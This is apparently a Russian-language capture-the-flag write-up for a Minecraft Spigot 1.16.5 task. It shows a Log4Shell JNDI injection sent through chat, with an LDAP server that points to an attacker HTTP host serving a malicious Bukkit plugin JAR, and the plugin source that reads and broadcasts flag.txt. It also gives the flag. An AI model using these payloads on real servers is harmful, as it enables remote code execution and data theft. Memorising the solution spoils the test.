Files
Serdtse-Sysoly/finals/syktyvkar/WRITEUP.md
T
2026-09-17 00:50:07 +03:00

5.8 KiB
Raw Blame History

SYKTYV/KAR

Minecraft

После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители».

На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции.

Решение

Подключитесь к узлу по выданным SSH-реквизитам.

ssh -p <port> player@<node-ip>

Пользователь работает в ограниченном rbash, а неизменяемый PATH указывает на /opt/diag. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт.

ps aux        # java -jar /opt/minecraft/spigot-1.16.5.jar
ss -ltn       # 25565 слушает

Процесс запущен с spigot-1.16.5.jar, сервер слушает порт 25565. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались исправленные сборки. Проверьте обработку ${jndi:...} в чате.

Для доступа к Minecraft пробросьте порт через SSH.

ssh -N -p <port> player@<node-ip> -L 25565:127.0.0.1:25565

Подключитесь клиентом Minecraft Java 1.16.5 к 127.0.0.1:25565. Сервер работает в offline mode и принимает любой ник.

В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в jebat jnl, а после ROT13 получается wrong way. Эта подсказка ведёт в тупик.

Проверка обработчика

Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты.

javaCodeBase: http://<my-ip>:8000/garbage
javaFactory:  pwn.Pwned

По адресу из javaCodeBase разместите тестовый файл garbage с произвольным содержимым и откройте к нему доступ по HTTP.

python3 -m http.server 8000 --bind 0.0.0.0

Отправьте JNDI-ссылку в чат.

${jndi:ldap://<my-ip>:1389/Exploit}

Сервер обращается по ссылке, скачивает файл из javaCodeBase и пытается загрузить его как плагин. В чате появляется ошибка.

Could not load plugin in folder 'plugins': invalid plugin JAR

Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик ${jndi:...} передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке.

Загрузка плагина

Подготовьте Bukkit-плагин для Spigot 1.16.5, используя spigot-api версии 1.16.5 и байткод Java 8. Укажите класс pwn.Pwned в plugin.yml.

name: Pwned
version: 1.0.0
main: pwn.Pwned
api-version: "1.16"

В Pwned.java добавьте обработчик onEnable(), который читает flag.txt из рабочей директории сервера и отправляет содержимое в чат.

package pwn;

import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;

import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

public final class Pwned extends JavaPlugin {
    @Override
    public void onEnable() {
        try {
            String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
            Bukkit.broadcastMessage("[PWN] " + flag);
        } catch (Exception exception) {
            Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
        }
    }
}

Упакуйте plugin.yml и pwn/Pwned.class в JAR. Готовый Pwned.jar содержит оба файла.

Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе.

javaCodeBase: http://<my-ip>:8000/Pwned.jar
javaFactory:  pwn.Pwned

Повторно отправьте ссылку в чат.

${jndi:ldap://<my-ip>:1389/Exploit}

Сервер скачивает JAR, проверяет формат ZIP, наличие plugin.yml и основного класса, затем сверяет javaFactory с полем main. После сохранения файла в plugins/dropins/ HotLoader загружает плагин. Вызов onEnable() читает flag.txt и публикует флаг в чате.

В солвере используется прямая HTTP-доставка JAR через ${jndi:http://<my-ip>:<http-port>/pwned.jar}.

Флаг

caplag{m1n3cr4ft_15_my_l1f3_XXXX}

Суффикс XXXX зависит от выданного команде узла.